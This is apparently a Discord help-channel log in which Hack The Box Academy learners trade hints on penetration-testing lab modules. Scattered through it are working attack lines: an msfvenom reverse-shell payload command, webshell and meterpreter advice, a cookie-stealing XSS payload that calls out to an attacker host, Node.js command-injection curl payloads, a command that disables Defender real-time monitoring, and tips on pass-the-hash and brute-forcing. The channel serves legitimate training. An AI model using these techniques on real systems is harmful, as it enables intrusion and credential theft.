@vital adder I don't need help with the questions. There's an optional "question" at the very bottom that encourages users to write a report, then find someone on discord to do QA with.

[abstract bridge]

or maybe im not supposed to go to the site.. its ok ill try figure it out

[tall birch]

mind if I send u dm? Nvm, thankyou tho!!!

[whole basalt]

how do you hack?

[abstract bridge]

simple you go terminal and write hack Minde

[cursive zinc]

with this i have no result

[faint rampart]

deathnote style lmao

[faint rampart]

yes you may.

[odd knot]

Can someone help me with footprinting lab hard?
Ich find the private key but I’m struggling to login with ssh. Can someone help me with the id_rsa file?

[acoustic owl]

What is not working?

[abstract bridge]

fixed it. i was being stupid and didnt add http:// to the url...

[eager hatch]

You might need to change the permissions of the private key

[odd knot]

So I find the private key and now I have to generate the public key right?
But I don’t know to to generate the key and where I have to safe it.

[acoustic owl]

no

[abstract bridge]

is this ssh keys we're on abt

oo ya

[acoustic owl]

just login with this key

[odd knot]

But where do I Safe the private key? So I mean in id_rsa but how can I do this?

[eager hatch]

You can just copy paste the key you found on your local machine and use it with ssh to login (I'll let you check the man pages for how to do that, or google)

[acoustic owl]

it basically does not matter where you save it

ssh -i /path/to/your/key user@10.10.10.10

remember to give the key the right rights

[odd knot]

Ok thanks i try it

[zinc marsh]

https://academy.hackthebox.com/module/143/section/1490 what ip i need to enumerate?

am enumerating the 172.16.5.5 but not sure if it is that one

[thorn urchin]

when in doubt scan the internal network for live hosts

cme is good for this

cme smb 172.16.5.0/24 -u"guest"

even with bad creds it'll pull up the machines that respond and give their AD hostnames

the DC usually stands out

[zinc marsh]

that is the only i can enumerate withput creds

[thorn urchin]

thats what im saying

it still works

you can also usually just spot the DC from an nmap scan cause itll be the machine that has kerberos, ldap, and domain all running together

[silk glade]

Hi,i am on Attacking Common Services module,specifically on sql part. Second Question is that " Enumerate the "flagDB" database and submit a flag as your answer." . I got user who can access this db and find table name,but i dont find good cheatsheet to enumerate mssql. I cant access to columns of table for example. Can someone help me?

[fathom pendant]

Select columns from database_name.tablename;

(note that's a placeholder for the flagDB.{database which you're querying}

[acoustic owl]

https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[silk glade]

Thanks,everything is in academy. My bad. THank you

[paper rivet]

Please help me... I don't understand the section Nessus skills assessment in the module vulnerability assessment

The nessuss scan i think is optional due to the duration of the scan. So do i need to login in the target below with ssh and answer the questions?

Or the questions are asked with the nessus scan?

I don't understand this section, sorry

I have connected to the machine and i am root

[eager hatch]

Scanning yourself is indeed optional, though it might be nice to try to do it if you can.
You don't have to connect to/ hack into the target machine, the only answers you need are based on the nessus scan report.
Just read through it to get the answers.

[fallow delta]

Anyone free for a nudge on Kerberos Attacks assessment? Been at it for several days and cannot figure out the last portion; dunno if its a bug in the module or something I am missing

[autumn pilot]

hint: sit and wait, once you have waited enough ask about the next thing as soon as you have it you are in

[fallow delta]

This is response to me? I fully compromised the first machine, however based on the delegation settings, the printerbug//coercer is not working against the DC despite bloodhound verifying the machine has unconstrained delegation

[fresh reef]

Hey peepz, i need a hint for Windows Privilege Escalation Skills Assessment - Part II - 2nd Question?
I have enumerated vulns ...im failing. Also, I tried 0668 from the previous module but nodice. As well as look for manual exploit chains and still having trouble @>@ dig up relevant info

[naive shell]

Maybe you just need another tool to grab something. 🙂

[cursive zinc]

Which tools?

[naive shell]

Yeah, that's like on you to find out. ^^

I mean you have everything you need.

[marsh veldt]

If i have a doubt with starting point machines where can i ask?

[acoustic owl]

#starting-point

[marsh veldt]

i dont know why but i dont have acces

[acoustic owl]

read #welcome

[cursive zinc]

somebody has an idea , how to see the flag

i have done many combination this give me most details

[acoustic owl]

Which tool can you use to query the banner?

[cursive zinc]

is also possible with ncat

I have try but...

[naive shell]

I dm'd you.

[cursive zinc]

thank

now it's working. the reason for the failure was that I did not have sudo rights

thank 💪

[acoustic owl]

The output told you that the permission was denied.

[cursive zinc]

yes

i have try adding

sudo at the bigging

and is okay

😁

[acoustic owl]

https://i.pinimg.com/originals/90/18/0f/90180fc49bd52a5c4d94223d8f98bee5.jpg

[cursive zinc]

🤣

[zinc marsh]

lol

[balmy saffron]

Does crackmapexec stops on success when brute-forcing?

[fresh reef]

Anybody?

[steady hawk]

Yes, --continue-on-success to keep testing

[steady hawk]

Did you run a sharp tool?

[fresh reef]

Thankyou ill give that a shot , that slipped my mind

[static roost]

@blissful verge Interested in looking at my report from the Documentation and Reporting module? Or perhaps any other Academy team members?

[hidden trellis]

Thank you!

[pine dagger]

np.

[fresh reef]

MORAL OF THE STORY: Don't forget to update ruby when running msfvenom @.@

@steady hawk Thanks for the tip

[iron plaza]

guys i need help with the Attacking Common Service Easy lab (/module/116/section/1466) ... I found the user and the password but I am unable to get the flag through load_file in mysql or through a webshell ... i am sure I am doing something wrong just need a bit of guidance please

[pine dagger]

Try ||uploading something that gives you remote access||.

[iron plaza]

I did ||upload a webshell (a normal php oneliner) and wwolf webshell|| but when I click on the uploaded file I end up getting it downloaded

[pine dagger]

Then its probably not a correct file.

[iron plaza]

would it be possible for me to discuss this further with you over dm?

[obsidian sundial]

how can i find the ip of a website that i can use for commands? (kali)

[gentle root]

What you mean

[obsidian sundial]

maybe ping?

[gentle root]

dig

nslookup

ping

curl

[obsidian sundial]

for nslookup there are 2 ip's

[gentle root]

ok

[zinc marsh]

https://academy.hackthebox.com/module/143/section/1421

question 3 I dont really get how snaffler works

[steady hawk]

It enumerates all the shares in the domain that your current user has access to and filters content that might be useful by testing regex

Their github page explains it a lot better

[zinc marsh]

then i dont know

i have output the file to snaffler.log

and i cant find the answer

[gentle root]

I am having trouble getting powerview.ps1 or a revershell to the initial host in AD Enum and Attacks Part I, I was able to get questions 1 and 2, but I can't get password for account XXXXXXX because I can't get the ticket, any nudges here?

[steady hawk]

I personally used a meterpreter shell and then used its upload functionality to upload powerview

[gentle root]

But how did you authenticate?"

Because we have a web shell lol

[steady hawk]

Upload a msfvenom shell to the web shell, execute it, and catch it with meterpreter

[gentle root]

kk

[rustic sage]

Hello All, I am doing Active Directory module is there any reason why i am getting this error?

[misty current]

Have you imported the poweview.ps1 module?

[rustic sage]

yea

[misty current]

you need to import it for every new PS session, in case your opened a new one.

[rustic sage]

aha

[misty current]

Try importing it in the session you have and try the command again

[rustic sage]

thank you 🙂

you the best XD

https://tenor.com/view/thank-you-gif-25358104

[gentle root]

😦

[misty current]

[gentle root]

sage

@steady hawk sadge, I'm clicking browse... -->upload and it just dies

[misty current]

Get a reverse shell and try other upload methods.

[gentle root]

Yeah I'm like starting from the web shell, I must be tripping

[steady hawk]

I just tried it and uploaded fine

[gentle root]

Oh I got it

[misty current]

I'm not sure about the Antak-Web shell but I think in the user input field, you got to set the path where you want to upload the file?

[gentle root]

What the hell, got it

I must be tripping thank you

[warm orchid]

Hello All, Am doing the AD track Sizzle box. When I try to request for User certificate i get below error.tried with different browsers.

" Error

Your request failed. An error occurred while the server was processing your request.

Contact your administrator for further assistance.

Request Mode:
    newreq NN - New Request (keygen) 
Disposition:
    (never set) 
Disposition message:
    (none) 
Result:
    Invalid pointer 0x80004003 (-2147467261 E_POINTER) 
COM Error Info:
    CCertRequest::Submit: Invalid pointer 0x80004003 (-2147467261 E_POINTER) 
LastStatus:
    The operation completed successfully. 0x0 (WIN32: 0) 
Suggested Cause:
    No suggestions. 

"

Any work around for this error?

[fathom pendant]

That sounds like it's on the main site: read #welcome and follow instructions, you'll be able to access #boxes

[bronze sorrel]

encoding 1

encoding 1

encoding 1

[fathom pendant]

Brother that's from several months ago

[jaunty vigil]

lmfao

[fathom pendant]

I swear people don't know how to read timestamps

[bronze sorrel]

sorry bro

just one month

[fathom pendant]

The other one was 4 months

[misty current]

And resolved by themselves 🙂

[final maple]

Look in the Note underneath the section "Identifying Keytab Files in Cronjobs"

Read the Note in the section "Identifying Keytab Files in Cronjobs"

Read the Note in the section "Identifying Keytab Files in Cronjobs" That will help you with the first step.

Read the Note in the section "Identifying Keytab Files in Cronjobs"

[slow ruin]

Can I dm you on this? I am using burp and changed the X-Header to the correct ip but still get invalid creds and can't see the flag

nvm solved

[clear lion]

thanks mate I've already solved

[fierce pier]

Doing password attack labs - medium

• already got Dennis and Jason users. Also got passphrase for private key.

However, I can't login with ssh private key for root user. I got the error "permission denied (public key)". I did chmod 600 for private key.

Anyone pls pls help me? Highly appreciated

[tender shuttle]

I'm in AD Enumeration & Attacks - Skills Assessment Part I
I got a Windows reverse shell , but I'm having issues while running certain cmdlets, powerview and binaries such as Mimikatz. I'm not receiving any output or error messages, and the netcat shell freezes when running mimikatz . how do i upgrade a windows reverse shell?

[fierce coral]

Hi, I am new to JavaScript. I went over the module and attempted the*** Whitebox Pentesting 101 Skills Assessment*** numerous times. However, I am still at a road block due to my lack of understanding and seeking some enlightenment. Any help will be greatly appreciated. 🙏

Firstly I am not sure if I got the payloads correctly. I derived at the payloads from the following 2 examples:

Example A1:
||curl http://0.0.0.0:21440/ping -X POST -d '{"debug":true, "ip": "{"ip": "127.0.0.1"}" }' -H "Content-Type: application/json"||

Example A2:
||curl http://0.0.0.0:21440/ping -X POST -d '{"debug": true, "ip": "127.0.0.1"}' -H "Content-Type: application/json"||

I observed that the POST data input was ||wrapped in single quotes '' inside json.parse('')|| and thereafter|| wrapped in backticks `` inside the eval() function||. I did some searching and seems like I do not have to craft the payload to close/open them evenly. Please correct me if I am wrong.
Information from the web: "The ||backticks ||indicate a template literal, which allows the expressions to be embeded within the string using ${}. The expression|| ${req.body.ip}|| is wrapped within the template literal and will be evaluated as a JavaScript expression."

Attempted payloads:
Lab URL: 64.227.46.56:30606||/ping||

||curl http://64.227.46.56:30606/ping -X POST -d '{"debug": true, "ip": " "; const { exec } = require("child_process"); exec("cat style.css > output.txt"); //"}' -H "Content-Type: application/json"
curl http://64.227.46.56:30606/ping -X POST -d '{"debug": true, "ip": " "; const { exec } = require("child_process"); exec("cat style.css > ./output.txt"); //"}' -H "Content-Type: application/json"
curl http://64.227.46.56:30606/ping -X POST -d '{"debug": true, "ip": " "; const { exec } = require("child_process"); exec("cat style.css > /var/www/html/output.txt"); //"}' -H "Content-Type: application/json"||

[fierce coral]

continuation...

||curl http://64.227.46.56:30606/ping -X POST -d '{"debug": true, "ip": " "; const { exec } = require("child_process"); exec("cat style.css > /tmp/output.txt"); //"}' -H "Content-Type: application/json"
curl http://64.227.46.56:30606/ping -X POST -d '{"debug": true, "ip": " "; const { exec } = require("child_process"); exec("cat /flag.txt > ./output.html"); //"}' -H "Content-Type: application/json"

curl http://64.227.46.56:30606/ping -X POST -d '{"debug": true, "ip": " "; var fs = require(\"fs\"); fs.readFile(\"flag.txt\", \"utf8\", (err, data) => { fs.writeFile(\"output.html\", data, (err) => { if (err) throw err; }); }); //"}' -H "Content-Type: application/json"

curl http://64.227.46.56:30606/ping -X POST -d '{"debug":true, "ip": "{"ip": "127.0.0.1"; var fs = require(\"fs\"); fs.readFile(\"flag.txt\", \"utf8\", (err, data) => { fs.writeFile(\"output.html\", data, (err) => { if (err) throw err; }); }); //"}' -H "Content-Type: application/json"||

[fierce pier]

Anyone?

[sharp grail]

Can anyone help me with the login brute force skills assessment module? Currently stuck in the very last task :/

[misty current]

Try searching the chats, I've seen a lot of tips from multiple people.

[sharp grail]

Already searched, hahahha thank you though

[misty current]

Yup, follow those tips, use your own logical thinking and you should be able to crack it lol

[clear lion]

hey im at the last part of Password Attack hard lab trying to Pth with administrator hash but i cant do it any hint?

[misty current]

is that the hash which you got from dumping and extract the sams? @clear lion

[clear lion]

yes

im trying with evil win

[misty current]

Try dumping the creds with secretsdump instead

I can't type wow

maybe you were using sam2dump?

[clear lion]

yes

im going to try with secret

thax

[misty current]

I wonder if someone can explain why sam2dump doesn't do a good work

[clear lion]

thanks a lot , they are totally different hashes

i was trying for the last 2 hours

[misty current]

It's better to hit the hashes on the very machine you extracted from, to check if they're valid. It's a quick false-positive check so you don't have to waste time

[clear lion]

I will

[misty current]

Is it just me, or I've been having problem trying to execute .jsp reverse shell on tomcat using the payload generated by msfvenom. I've tried it twice on two different modules where I had to exploit tomcat, but I get this on visiting the payload.

So far, I've just been completing those modules with webshell -> reverse shell

Module: Attacking Common Applications -> Tomcat

[iron plaza]

are you uploading the right format for the payload (.war)?

[misty current]

msfvenom -p java/shell_reverse_tcp LHOST=10.10.x.x LPORT=9111 -f war -o shell.war
literally this generated payload

[iron plaza]

Does it connect to your listening port? If not then reset the box … could be a glitch

[fierce pier]

Solved it. Damn need to reset the machine and login again with private key

[misty current]

Played around a little bit, seems like it's just like that for java/shell_reverse_tcp, something wrong with the meterpreter payload, creating with this option tho- java/jsp_shell_reverse_tcp -f war -o shell.war does the trick of popping me a revshell

[iron plaza]

Is that initial payload used perhaps for certain environment?

[deep tide]

What kind of bugs can be on a site that works with javascript, how can a database or any other entry point be open?

Or what methods do you use?

@deep tide

[autumn pilot]

Feel free to verify and ask in #web or #red-team , and/or even in #hacker-lounge

[cursive zinc]

Hi on the brute force part what managed to unblock ssh?

Is 120 minute the script Is on

[fathom pendant]

What module

[cursive zinc]

The 2 e

[fathom pendant]

?

I'm asking what academy module are you working on

[cursive zinc]

Login brute forcing

[fathom pendant]

Check if another service is running, and brute that instead

[cursive zinc]

The request of the exercices Is tò brute force ssh

[fathom pendant]

Ssh sucks to brute

As it takes forever

[misty current]

Thinking out of the box is also something to follow, brute-forcing ssh is not feasible.

[fathom pendant]

Oftentimes ssh password and ftp, SMB, etc... Passwords are the same

It's doable, but brute forcing ssh is only done as a very last resort

[dapper star]

anyone else unable to spawn a target?

[cyan ginkgo]

yep me

[dapper star]

it works now

[cyan ginkgo]

no for me the target doesn't spawn

[misty current]

It's working now

[round gale]

hello, i am working on Windows priv sec, i am not able to start the instance , HTB says to contact support if problem persists

[naive field]

?

[zinc marsh]

https://academy.hackthebox.com/module/143/section/1421
Someone could help me with question 3 and 4 i dont really get it work with snaffler

[round gale]

i got the instance and the target, but unable to RDP into the target

[zinc marsh]

yea me neither

i get black screen in the rdp

[blazing crypt]

Active Directory Enumeration & Attacks ## ACL Enumeration

What is the ObjectAceType of the first right that the forend user has over the GPO Management group? (two words in the format Word-Word)

This is a terrible question. I know the 2 rights this user has using BloodHound. I let PowerView command run for over half an hour and the machine ended without me seeing the output. Can anyone help me spare some time here?

[zinc marsh]

yo sorry im stucked a bit behind https://academy.hackthebox.com/module/143/section/1421

for the questions 3 and 4 I'm running snaffler but i dont get it

[blazing crypt]

Show a screenshot of what you're doing.

[zinc marsh]

.\snaffler.exe -d INLANEFREIGHT.LOCAL -s -v -o exercise.log

||(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Development\web.config||

[blazing crypt]

I don't see the issue, you've found it.

[zinc marsh]

i found the file but am trying to open it

[blazing crypt]

Snaffler showed the output in the stdout for me.

[zinc marsh]

i got it ty

[misty current]

It does show you the rights the user has on GPO management group, just that bloodhound doesn't give the exact name, me personally was not able to google it and find the resolved name for that ACE type as well. So you would have to refresh the machine, run the powerview command to get the ACE Type, would take 60-90 minutes

[naive field]

im doing bleeding edge vulns

im on print nightmare

when i try to generate payload with msfveom i get this error

[autumn pilot]

act based on the error

its simple

[naive field]

i treid sudo

didnt work either

[autumn pilot]

try smarter

[naive field]

yess

i got it.. wrong dir :D

thanks for da hel

p

[blazing crypt]

Thank you so much 🤲

[blazing crypt]

Exactly.

Funny how its not included here:
https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights

[naive field]

why is it failing to bind? .... :/

[naive field]

.

[misty current]

Make sure you're understanding and not just copy pasting 🙃

[naive field]

r u telling me?

yeah tbh im not unerstanding it the best rn

but now im just starting msf multi/handler to intercept the reverse shell on the target right?

[misty current]

Take breaks, Take your time.

Try to understand what failing to bind means

[naive field]

unable to to connect to a ip and port?

[misty current]

Close, more like unable to bind an IP and port

FYI, Metasploit, started the listener with it's default, even tho you made some mistakes.

[naive field]

well idk like i used what they used in the example

but idk why they used LHOST 172.16.5.225

isnt that supposed to be RHOST? since its a target ip

[misty current]

Which module-section?

[naive field]

this one

that im doing rn

its

[autumn pilot]

on one line please

[naive field]

sorry, bad habit xd

[naive field]

AD enum and attacks module, section bleeding edge vulns printnightmare exploit

[naive wadi]

doing medium footprinting and even when using || run as administrator with found credentials on the sql server mamagement studio || it says by creds are invalid?

[vagrant gust]

ive managed to get shell access on the php web shells section of shell attacks

but when i run a command i get this

[naive field]

yo im dum

dumb

really dumb

i was doing it from my local terminal, i did not connect to linux host

sorry for waisting ur time

[misty current]

I was looking at something and wodering if it's a typo on the module or, metasploit automatically set the LHOST to the other network interface. Bleeding-edge Vulnerabilities module btw.

[naive field]

i saw that too

was thinking i need to put my ip from ip a in there

lol

[misty current]

Do you get the same type of output? when trying to configure metasploit handler on the linux host sitting on the internal.

[naive field]

i do not, i get the normal output

ok i really do not know what else to do, im stuck on running the exploit im getting error that file cannout be found i was trynna not to ask here again cuz i think i am a little annoying but....

im trying to run the exploit, i started the smb server with the msfvenom payload and all but i cant seem to get it to work....

[misty current]

It's okay to ask, but only after you've made sure to go through the section again and done everything you can.

Also, review your smbserver.py command.

For extra help, look closely at the syntax provided in the module too

[naive field]

it looks the same as in the

module

i mean except that i added the path to the file

[misty current]

Your hint is, you can't host a file itself as a SMB Share

[naive field]

YES

thank you so much...

i got confused with them saying /path/to/backup.dll .........

[zinc marsh]

someone who completed the module AD enumeration and attacks?

[vagrant gust]

can anyone help with this

[zinc marsh]

i want to ask how they completed this question. I am not sure if i did it with the intended way Utilizing techniques learned in this section, find the flag hidden in the description field of a disabled account with administrative privileges. Submit the flag as the answer.

[naive field]

use ldap filtering

[zinc marsh]

I have completed it but idk if it was the intended way

i used 3 commands

[naive field]

i only used one

u can send me a dm if u want

[autumn pilot]

check #welcome

[naive wadi]

Can anyone help with this?

[cyan ginkgo]

which section

[naive wadi]

doing medium footprinting and even when using || run as administrator with found credentials on the sql server mamagement studio || it says by creds are invalid?

I'm RDP'd in

[cyan ginkgo]

did u get the sa creds

[naive wadi]

yeah

[cyan ginkgo]

oke let me check rq

[naive wadi]

thank you

[misty current]

Make sure you're using the right authentication mode. There are two of you read the section

[naive wadi]

but do I not need to run as admin first? That's where it is failing...

[misty current]

True. iirc, the creds is the way

[naive wadi]

|| right click "Run as admin" on sql server management studio, enter sa creds that are found on the system|| right?

IGNORE ME I AM SO DUMB!

[cursive zinc]

Approximately how long can it take with FTP?

[naive wadi]

why do 1's look lik l's in windows default text WHY!!

[misty current]

Copy paste whenever you can 🤷

[naive wadi]

You can't when authorizing to admin

[cyan ginkgo]

glad it worked for u

i was trying it and it worked for me so i was trying to figure out why it would not work

[cursive zinc]

Need help on the brute forcing part🥲

[sleek urchin]

Doing Windows Privilege Escalation Skills Assessment - Part II and finished it except for the 1st question

Find left behind cleartext credentials for the iamtheadministrator domain admin account.

any help is appreciated

[lilac cloud]

web attacks skills assessment - after spending hours on different injects and feeling like losing my mind as the server was seeming unresponsive I finally got this flag. Come to find out it wasn't me per-se, but rather something with my network connection (this assessment is spun up on a public IP and does not require a VPN connection to the lab). I switched my wifi connection from my home wifi to a hotspot on my phone and presto!

[misty current]

are you doing that harry one?

[gentle root]

lol

[cedar gull]

hello guys. I'm doing the module for SQLmap and now I'm in the part for bypassing defences, currenctly stuck on the first flag for the anti-csrf token bypass. In the "lesson" nothing is related on how to pratically find those tokens (or caracteristics) and properly set the command in the terminal. Could someone help me?

I think i'll fun in this part

[cursive zinc]

I am doing the brute force exercise of account b.gates. Ssh and ftp

[cedar gull]

sorted!

[zinc marsh]

AD enumeration and attacks is the longest module right?

[misty current]

That one should be fairly straight forward, just follow the wordlist which you've prepared and refine it, remove duplicates and other complexity related stuff.

[gentle root]

Yes

[naive field]

yeah

but its not that long tbh, its also imo the most fun one

since u learn the most from it

[cursive zinc]

So i Need tò prépare a wordlist myself jus mt take rockyou.txt?Because I used rockyou I removed the elements of size less than 8 and made other changes but nothing

[zinc marsh]

yea am reviewing all what i learnt from active directory here

[zinc marsh]

can u just ask the question? we cannot guess where are u

or what are u trying

[winged sonnet]

hi

[misty current]

No, not rockyou. just use cupp

That's what they taught you in the module right?

generating wordlist based on the username

[gentle root]

Pwned AD Enum II 🙂

[misty current]

How was it

[zinc marsh]

Which ACE entry can be leveraged to perform a targeted Kerberoasting attack?
For this question isnt GenericWrite also able to perform Kerberoasting Attack?

[gentle root]

@mellow whale Hey awesome AD Module man! Assessment P II was beautiful

[gentle root]

Oh it was sick

[calm jetty]

im looking for some help with password attacks, question: Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_).

[gentle root]

I got hung up on one part for like over an hour lol

[zinc marsh]

where are u stuck

[cursive zinc]

The problem is that in the exercices the already gives me the username and only that, they did not give me information such as the name or other What cupp needs

[sinful olive]

Please help me here... I'm in Exploiting Web Vulnerabilities in Thick-Client Applications module.
Been stuck on it for weeks, and already finished the entire module..
I follow the steps, but when I try to compile: C:\> javac -cp fatty-client-new.jar fatty-client-new.jar.src\htb\fatty\client\gui\ClientGuiTest.java - gives me 31 errors in the code...
Now, I changed only what they said, so I have no clue...

[zinc marsh]

as i told can u just send the question and the module with the section?

and ask where are u stuck

[cursive zinc]

It Is in the basic tools module brute force chapter service autentication brute forcing

[abstract bridge]

anyone have any livestreams/videos of someone just doing hard vuln machines or something? I learn by watching other people do stuff and it would give me some motivation, but I have no clue on what to search for to find it

[zinc marsh]

u have to use cupp

[cursive zinc]

With thé username thé gave to me rigtht

[zinc marsh]

https://ippsec.rocks/?#

[abstract bridge]

many thanks 😄

[zinc marsh]

just search what u want to learn

[zinc marsh]

the section gives u the info to make the wordlist

[cursive zinc]

Okay cool

[subtle glen]

XSS skills assessment
i have script.js on the /tmp/tmpserver directory on my vm, cat script.js returns this:
new Image().src='http://mytun0/index.php?c='+document.cookie
i have index.php on the same dir too.
||i know the vulnerable parameter is the comment form|| im trying to run <script src=http://mytun0/script.js></script>
on the comments form but i get nothing in return on the php server.
can someone please tell me what am i missing here?

[subtle glen]

nevermind, i got the flag, i honestly dont know what was doing wrong, the flag just showed up after a couple tries

[steady hawk]

<@&861185840277487616>

[winged hedge]

Much appreciated.

[rustic sage]

https://academy.hackthebox.com/module/147/section/1320 I just cannot figure it out. Would anyone give me a hint? I tried brute forcing Will & Kira on every service running on the host but still no success.

[desert lance]

there are some lowly developed websites which requires you to login
so can we bypass login?
or get id and password to login?
by web scrappers , brute force or any means

[solid haven]

yo

is that real

[rustic sage]

well the user was actually kira which i had to brute force. i just forgot to mutate the right list to the kira password

[heady geyser]

attacking services/easy lab. having trouble even getting a start. enumerated all ports but not getting anywhere. I think i need valid creds to really get going but cant find a user or a pass. Should i be bruteforcing something?

[mystic light]

dm if youd like

[zinc marsh]

bruteforce and then search for the password

[desert lance]

can anyone help me here?

[charred juniper]

Hey, I have some questions regarding the Reports, How can yo udetermine the severity of your findings? lets say I found an RCE by manually exploiting it, how can you score that?

[zinc marsh]

https://academy.hackthebox.com/module/143/section/1485 4th question i am not getting output with the user forend

[dapper star]

Can I DM someone about skills assessment - website brute force module?

[misty current]

What did you do?

[zinc marsh]

||PS C:\tools> import-module .\powerview.ps1
PS C:\tools> $sid = Convert-NameToSid forend
PS C:\tools> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_SecurityIdentifier -eq $sid}||

i also did this to find the sid of forend Get-ADUser -Filter {SamAccountName -eq "forend"}

and i tried replacing directly the $sid = Forendsid

rn just uploading the zip file to bloodhound to check it graphically

[misty current]

Yeah, for this one, you can get it faster from bloodhound.

Or not, just checked the question. It's something you got to get from PowerView's Get-DomainObjectACL

[zinc marsh]

idk i did it with bloodhound

i dont get it works with powerview

[misty current]

Ah, you were able to get it from bloodhound, that's cool then.

[zinc marsh]

yea but for the last i know it is ||AddSelf|| and the answer is wrong all time

nvm i got it

[misty current]

Yeah, bloodhound doesn’t exactly give the answer for the questions. The module question request it specifically from the resolvedGuids

[zinc marsh]

oh

i just googled AddSelf ObjectAceType lol

[pine dagger]

Ello! Can anyone give any pointers on Advanced SQL Injection Skill Assessment #1? I'm pretty sure I know where the vulnerability is, and what I need to do to bypass it, but I can't seem to get the correct syntax

[quaint gate]

Did you figure it out?

[lucid grotto]

Good day guys, I’m new too cyberspace as I’m just starting learning Cybersecurity and I join this group so I can ask wonderful people here for help, to guide me in my journey, I appreciate you all in advance thank you.

[zinc marsh]

https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[candid sail]

can anyone give me some help with the web fuzzing skills assessment? I'm stuck on Q3: "One of the pages you will identify should say 'You don't have access!'. What is the full page URL?"

I've finished the previous questions so I have the subdomains/vhosts and extensions and I find a subdirectory in my scans, but no files that say You don't have access! either blank pages or standard Permission denied warning.

I'm trying: ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://[sumdomain].academy.htb:PORT/FUZZ -e [ the extensions separated by a comma] -recursion -recursion-depth 2 -v

I of course used the actual port number for my target and the subdomains and extensions (redacted here so as not to spoil). I added the sumdomains all to my /etc/hosts file.

And I've tried filtering the results when I get loads of 403 pages several ways: -fw with the most common word count, -fs with the size, -fr "permission" or -mr "access!" to try to find the right page.

I've also restarted both the pwnbox and the target (and thus redone the /etc/hosts file) several times and I just cannot find it.

Am I missing something? It's well past bedtime here so apologies if I don't reply to any kind help quickly, I'll be back at it in the morning. 🙂 Cheers in advance for any tips!

[pine dagger]

Trying to find the correct syntax for inserting into the variable. I just can't seem to get the right combination.

No worries 🙂

[lucid grotto]

Thank you

[pine dagger]

Does anyone have any suggestions on how to obfuscate a semi-colon in an SQL injection?

[zinc marsh]

https://academy.hackthebox.com/module/143/section/1489 I need a nudge for question 2

i know i need to ssh to 172.16.5.225 but the credentials dont let me connect

idk why

[fathom pendant]

Try wrapping password in single quotes

[brittle tendon]

To access the directory, we can connect to \tsclient, allowing us to transfer files to and from the RDP session.

How can i connect to \tsclient\ ? i dont get it

[fathom pendant]

Just... Double-click it

[rustic sage]

same happened for me

did u solve it?

[abstract agate]

I have the same problem. I disabled defender and use cmd with elevated privileges.
Did you manage to solve it?

My proxifier settings
"Module: Pivoting, Tunneling and Port Forwarding
Section: RDP and SOCKS Tunneling with SocksOverRDP"

[red current]

Having an issue with the WordPress Discovery and Enumeration section in Attacking Common Applications. It appears that the free version of WPVulnDB is no longer available. I tried signing up for it but it won't take my gmail account. I can't use my work email anymore because I've been flagged for using it for non-business use too many times already.

[red current]

Never mind. It must have been a glitch. It let me make an account without needing a business email address.

[inner talon]

Hi guys, I am stuck with the Network Services module of the Password Attacks section. Regarding the WinRM protocol, I don't understand what wordlist I need to use to bruteforce. Could someone please give me a tip?

[lyric raft]

have you checked the resources?

[inner talon]

what do u mean?

[lyric raft]

have you downloaded these?

[gusty zinc]

Windows attacks and Defense, Kerberoasting module - the second question to connect to the DC and view the event logs, I cant connect to the DC. "failed to connect" using RDP.

any suggestions?

AFter performing the Kerberoasting attack, connec to the DC1 (IPHERE) as USERNAME:PASS and look at the logs in event ...

I'm using xfreerdp, error is ERRCONNECT FAILED

figured it out - you have to do this from the windows machine your already RDP'd into. This should probably be stated in the instructions

[fathom pendant]

realtime protection

[heady geyser]

need a nudge for attacking services easy lab. found the user f****. ive tried bruteforcing her password using the password list provided and every port that i can try bruteforcing. no luck. am i missing something or do i need some other wordlist?

[iron plaza]

that is a mail server right?

[abstract agate]

@fathom pendant "Set-MpPreference -DisableRealtimeMonitoring $true"?

[fathom pendant]

Probably

[west night]

Hi, I have been stuck on the dns footprint module for about two weeks. Was able to successfully complete the zone transfer sections but the first and last questions I have not been able to complete. Specifically, "Interact with the target DNS using its IP address and enumerate the FQDN of it for the "inlanefreight.htb" domain". I have tried various options, such as using dig tool to obtain the PTR of the ip address but it does not have one. The SOA sections have several FQDNs but these do not result in the discovery of the inlanefreight.htb domain! It is unclear to me what the question is actually asking! The last question, "What is the FQDN of the host where the last octet ends with "x.x.x.203"?" It seems like it has something to do with the previous zone transfer question I completed but I just not sure how to proceed. I downloaded the resources given (the wordlist) and ran it against the inlanefreight.htb domain using the dnsenum tool. Using the same tooI I added the subdomains internal and when that did not work I removed internal and added dev instead. Correctly if I am wrong but I need the zone transfer to occur first, then I enumerate the inlanefreight.htb domain? Or can this FQDN be found without zone transfer? Thanks.

[lyric echo]

Hello! Im working on the HTTPs / TLS module, and I cant seem to successfully execute anything with the TLS-Breaker toolset. I consistantly get the following error:

CertificateUtils - Could not extract public key from Certificate!

Any help to get this working would be greatly appreciated!!

[final maple]

Look up ippsec's video on Bastion to learn how to mount the VHD from smb to your Kali box. However, guestmount wouldnt work, nor did any of the other methods I found posted on here. Finally, I just copied the VHD file and pasted it to my windows machine. That worked, and then after another hurdle, I was able to access the VHD.

[carmine hill]

If someone ever needs help with the “Injection Attacks module”, you can dm me

[zenith schooner]

Hi, I am working on Information Gathering (web Edition). There is an example with openssl that doesn't work on fresh installation Kali but works on pwn box in HTB Academy. I wonder if openssl require any kind of post installation steps. Something regarding certificate. IF anybody can help me I will be aprreciate it. Yesterday I made some reserarch but I didn't find anything significant. Thanks again.

[misty current]

sudo?

[long grove]

plz. help?

[west night]

